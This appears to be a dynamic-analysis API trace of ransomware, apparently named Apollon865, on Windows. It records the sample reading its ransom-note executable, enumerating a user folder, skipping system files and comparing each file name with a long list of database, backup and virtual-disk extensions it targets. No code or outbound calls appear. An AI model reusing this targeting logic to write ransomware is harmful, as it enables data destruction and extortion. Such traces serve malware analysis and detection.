	[0049.656] GetLastError () returned 0x20
	[0049.656] Sleep (dwMilliseconds=0xc8) 
	[0049.867] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0049.867] GetLastError () returned 0x20
	[0049.867] Sleep (dwMilliseconds=0xc8) 
	[0050.067] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.068] GetLastError () returned 0x20
	[0050.068] Sleep (dwMilliseconds=0xc8) 
	[0050.269] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.269] GetLastError () returned 0x20
	[0050.269] Sleep (dwMilliseconds=0xc8) 
	[0050.498] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x14c
	[0050.498] GetLastError () returned 0x0
	[0050.498] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.498] ReadFile (in: hFile=0x14c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.498] CloseHandle (hObject=0x14c) returned 1
	[0050.498] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.498] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.498] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Saved Games\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfc1b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dfc1b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca550
	[0050.498] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.498] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.498] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0050.498] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfc1b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2dfc1b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0050.498] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.498] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0050.498] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0050.499] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0050.499] FindNextFileW (in: hFindFile=0x5ca550, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0050.499] lstrlenW (lpString="desktop.ini") returned 11
	[0050.499] lstrlenW (lpString="C:\\Users\\Default\\Saved Games\\*") returned 30
	[0050.499] lstrcpyW (in: lpString1=0x119e642, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0050.499] lstrlenW (lpString="desktop.ini") returned 11
	[0050.499] lstrlenW (lpString="Apollon865") returned 10
	[0050.499] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0050.499] lstrlenW (lpString=".dll") returned 4
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0050.499] lstrlenW (lpString=".lnk") returned 4
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0050.499] lstrlenW (lpString=".ini") returned 4
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0050.499] lstrlenW (lpString=".sys") returned 4
	[0050.499] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0050.499] lstrlenW (lpString="desktop.ini") returned 11
	[0050.499] lstrlenW (lpString="bak") returned 3
	[0050.499] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0050.499] lstrlenW (lpString="ba_") returned 3
	[0050.500] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0050.500] lstrlenW (lpString="dbb") returned 3
	[0050.500] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0050.500] lstrlenW (lpString="vmdk") returned 4
	[0050.500] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0050.500] lstrlenW (lpString="rar") returned 3
	[0050.500] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0050.500] lstrlenW (lpString="zip") returned 3
	[0050.500] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0050.500] lstrlenW (lpString="tgz") returned 3
	[0050.500] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0050.500] lstrlenW (lpString="vbox") returned 4
	[0050.500] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0050.500] lstrlenW (lpString="vdi") returned 3
	[0050.500] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0050.500] lstrlenW (lpString="vhd") returned 3
	[0050.500] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0050.500] lstrlenW (lpString="vhdx") returned 4
	[0050.500] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0050.500] lstrlenW (lpString="avhd") returned 4
	[0050.500] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0050.500] lstrlenW (lpString="db") returned 2
	[0050.500] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0050.500] lstrlenW (lpString="db2") returned 3
	[0050.500] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0050.500] lstrlenW (lpString="db3") returned 3
	[0050.500] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0050.500] lstrlenW (lpString="dbf") returned 3
	[0050.500] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0050.500] lstrlenW (lpString="mdf") returned 3
	[0050.500] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0050.500] lstrlenW (lpString="mdb") returned 3
	[0050.500] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0050.500] lstrlenW (lpString="sql") returned 3
	[0050.501] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0050.501] lstrlenW (lpString="sqlite") returned 6
	[0050.501] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0050.501] lstrlenW (lpString="sqlite3") returned 7
	[0050.501] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0050.501] lstrlenW (lpString="sqlitedb") returned 8
	[0050.501] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0050.501] lstrlenW (lpString="xml") returned 3
	[0050.501] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0050.501] lstrlenW (lpString="$er") returned 3
	[0050.501] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0050.501] lstrlenW (lpString="4dd") returned 3
	[0050.501] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0050.501] lstrlenW (lpString="4dl") returned 3
	[0050.501] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0050.501] lstrlenW (lpString="^^^") returned 3
	[0050.501] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0050.501] lstrlenW (lpString="abs") returned 3
	[0050.501] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0050.501] lstrlenW (lpString="abx") returned 3
	[0050.501] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0050.501] lstrlenW (lpString="accdb") returned 5
	[0050.501] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0050.501] lstrlenW (lpString="accdc") returned 5
	[0050.501] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0050.501] lstrlenW (lpString="accde") returned 5
	[0050.501] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0050.501] lstrlenW (lpString="accdr") returned 5
	[0050.501] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0050.501] lstrlenW (lpString="accdt") returned 5
	[0050.501] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0050.501] lstrlenW (lpString="accdw") returned 5
	[0050.501] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0050.502] lstrlenW (lpString="accft") returned 5
	[0050.502] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0050.502] lstrlenW (lpString="adb") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0050.502] lstrlenW (lpString="adb") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0050.502] lstrlenW (lpString="ade") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0050.502] lstrlenW (lpString="adf") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0050.502] lstrlenW (lpString="adn") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0050.502] lstrlenW (lpString="adp") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0050.502] lstrlenW (lpString="alf") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0050.502] lstrlenW (lpString="ask") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0050.502] lstrlenW (lpString="btr") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0050.502] lstrlenW (lpString="cat") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0050.502] lstrlenW (lpString="cdb") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0050.502] lstrlenW (lpString="ckp") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0050.502] lstrlenW (lpString="cma") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0050.502] lstrlenW (lpString="cpd") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0050.502] lstrlenW (lpString="dacpac") returned 6
	[0050.502] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0050.502] lstrlenW (lpString="dad") returned 3
	[0050.502] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0050.503] lstrlenW (lpString="dadiagrams") returned 10
	[0050.503] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0050.503] lstrlenW (lpString="daschema") returned 8
	[0050.503] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0050.503] lstrlenW (lpString="db-journal") returned 10
	[0050.503] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0050.503] lstrlenW (lpString="db-shm") returned 6
	[0050.503] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0050.503] lstrlenW (lpString="db-wal") returned 6
	[0050.503] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0050.503] lstrlenW (lpString="dbc") returned 3
	[0050.503] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0050.503] lstrlenW (lpString="dbs") returned 3
	[0050.503] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0050.503] lstrlenW (lpString="dbt") returned 3
	[0050.503] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0050.503] lstrlenW (lpString="dbv") returned 3
	[0050.503] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0050.503] lstrlenW (lpString="dbx") returned 3
	[0050.503] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0050.503] lstrlenW (lpString="dcb") returned 3
	[0050.503] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0050.503] lstrlenW (lpString="dct") returned 3
	[0050.503] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0050.503] lstrlenW (lpString="dcx") returned 3
	[0050.503] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0050.503] lstrlenW (lpString="ddl") returned 3
	[0050.503] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0050.503] lstrlenW (lpString="dlis") returned 4
	[0050.503] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0050.503] lstrlenW (lpString="dp1") returned 3
	[0050.503] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0050.503] lstrlenW (lpString="dqy") returned 3
	[0050.503] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0050.504] lstrlenW (lpString="dsk") returned 3
	[0050.504] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0050.504] lstrlenW (lpString="dsn") returned 3
	[0050.504] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0050.504] lstrlenW (lpString="dtsx") returned 4
	[0050.504] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0050.504] lstrlenW (lpString="dxl") returned 3
	[0050.504] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0050.504] lstrlenW (lpString="eco") returned 3
	[0050.504] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0050.504] lstrlenW (lpString="ecx") returned 3
	[0050.504] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0050.504] lstrlenW (lpString="edb") returned 3
	[0050.504] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0050.504] lstrlenW (lpString="epim") returned 4
	[0050.504] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0050.504] lstrlenW (lpString="fcd") returned 3
	[0050.504] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0050.504] lstrlenW (lpString="fdb") returned 3
	[0050.504] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0050.504] lstrlenW (lpString="fic") returned 3
	[0050.504] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0050.504] lstrlenW (lpString="flexolibrary") returned 12
	[0050.504] lstrlenW (lpString="fm5") returned 3
	[0050.504] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0050.504] lstrlenW (lpString="fmp") returned 3
	[0050.504] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0050.504] lstrlenW (lpString="fmp12") returned 5
	[0050.504] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0050.504] lstrlenW (lpString="fmpsl") returned 5
	[0050.504] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0050.504] lstrlenW (lpString="fol") returned 3
	[0050.504] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0050.504] lstrlenW (lpString="fp3") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0050.505] lstrlenW (lpString="fp4") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0050.505] lstrlenW (lpString="fp5") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0050.505] lstrlenW (lpString="fp7") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0050.505] lstrlenW (lpString="fpt") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0050.505] lstrlenW (lpString="frm") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0050.505] lstrlenW (lpString="gdb") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0050.505] lstrlenW (lpString="gdb") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0050.505] lstrlenW (lpString="grdb") returned 4
	[0050.505] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0050.505] lstrlenW (lpString="gwi") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0050.505] lstrlenW (lpString="hdb") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0050.505] lstrlenW (lpString="his") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0050.505] lstrlenW (lpString="ib") returned 2
	[0050.505] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0050.505] lstrlenW (lpString="idb") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0050.505] lstrlenW (lpString="ihx") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0050.505] lstrlenW (lpString="itdb") returned 4
	[0050.505] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0050.505] lstrlenW (lpString="itw") returned 3
	[0050.505] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0050.505] lstrlenW (lpString="jet") returned 3
	[0050.506] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0050.506] lstrlenW (lpString="jtx") returned 3
	[0050.506] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0050.506] lstrlenW (lpString="kdb") returned 3
	[0050.506] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0050.506] lstrlenW (lpString="kexi") returned 4
	[0050.506] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0050.506] lstrlenW (lpString="kexic") returned 5
	[0050.506] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0050.506] lstrlenW (lpString="kexis") returned 5
	[0050.506] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0050.506] lstrlenW (lpString="lgc") returned 3
	[0050.506] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0050.506] lstrlenW (lpString="lwx") returned 3
	[0050.506] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0050.506] lstrlenW (lpString="maf") returned 3
	[0050.506] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0050.506] lstrlenW (lpString="maq") returned 3
	[0050.506] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0050.506] lstrlenW (lpString="mar") returned 3
	[0050.506] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0050.506] lstrlenW (lpString="marshal") returned 7
	[0050.506] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0050.506] lstrlenW (lpString="mas") returned 3
	[0050.506] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0050.506] lstrlenW (lpString="mav") returned 3
	[0050.506] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0050.506] lstrlenW (lpString="maw") returned 3
	[0050.506] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0050.506] lstrlenW (lpString="mdbhtml") returned 7
	[0050.506] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0050.506] lstrlenW (lpString="mdn") returned 3
	[0050.506] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0050.506] lstrlenW (lpString="mdt") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0050.507] lstrlenW (lpString="mfd") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0050.507] lstrlenW (lpString="mpd") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0050.507] lstrlenW (lpString="mrg") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0050.507] lstrlenW (lpString="mud") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0050.507] lstrlenW (lpString="mwb") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0050.507] lstrlenW (lpString="myd") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0050.507] lstrlenW (lpString="ndf") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0050.507] lstrlenW (lpString="nnt") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0050.507] lstrlenW (lpString="nrmlib") returned 6
	[0050.507] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0050.507] lstrlenW (lpString="ns2") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0050.507] lstrlenW (lpString="ns3") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0050.507] lstrlenW (lpString="ns4") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0050.507] lstrlenW (lpString="nsf") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0050.507] lstrlenW (lpString="nv") returned 2
	[0050.507] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0050.507] lstrlenW (lpString="nv2") returned 3
	[0050.507] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0050.507] lstrlenW (lpString="nwdb") returned 4
	[0050.507] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0050.507] lstrlenW (lpString="nyf") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0050.508] lstrlenW (lpString="odb") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0050.508] lstrlenW (lpString="odb") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0050.508] lstrlenW (lpString="oqy") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0050.508] lstrlenW (lpString="ora") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0050.508] lstrlenW (lpString="orx") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0050.508] lstrlenW (lpString="owc") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0050.508] lstrlenW (lpString="p96") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0050.508] lstrlenW (lpString="p97") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0050.508] lstrlenW (lpString="pan") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0050.508] lstrlenW (lpString="pdb") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0050.508] lstrlenW (lpString="pdm") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0050.508] lstrlenW (lpString="pnz") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0050.508] lstrlenW (lpString="qry") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0050.508] lstrlenW (lpString="qvd") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0050.508] lstrlenW (lpString="rbf") returned 3
	[0050.508] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0050.508] lstrlenW (lpString="rctd") returned 4
	[0050.508] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0050.509] lstrlenW (lpString="rod") returned 3
	[0050.509] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0050.509] lstrlenW (lpString="rodx") returned 4
	[0050.509] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0050.509] lstrlenW (lpString="rpd") returned 3
	[0050.509] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0050.509] lstrlenW (lpString="rsd") returned 3
	[0050.509] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0050.509] lstrlenW (lpString="sas7bdat") returned 8
	[0050.509] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0050.509] lstrlenW (lpString="sbf") returned 3
	[0050.509] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0050.509] lstrlenW (lpString="scx") returned 3
	[0050.509] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0050.509] lstrlenW (lpString="sdb") returned 3
	[0050.509] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0050.509] lstrlenW (lpString="sdc") returned 3
	[0050.509] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0050.509] lstrlenW (lpString="sdf") returned 3
	[0050.509] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0050.509] lstrlenW (lpString="sis") returned 3
	[0050.509] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0050.509] lstrlenW (lpString="spq") returned 3
	[0050.509] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0050.509] lstrlenW (lpString="te") returned 2
	[0050.509] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0050.509] lstrlenW (lpString="teacher") returned 7
	[0050.509] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0050.509] lstrlenW (lpString="tmd") returned 3
	[0050.509] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0050.509] lstrlenW (lpString="tps") returned 3
	[0050.509] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0050.509] lstrlenW (lpString="trc") returned 3
	[0050.509] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0050.510] lstrlenW (lpString="trc") returned 3
	[0050.510] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0050.510] lstrlenW (lpString="trm") returned 3
	[0050.510] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0050.510] lstrlenW (lpString="udb") returned 3
	[0050.510] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0050.510] lstrlenW (lpString="udl") returned 3
	[0050.510] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
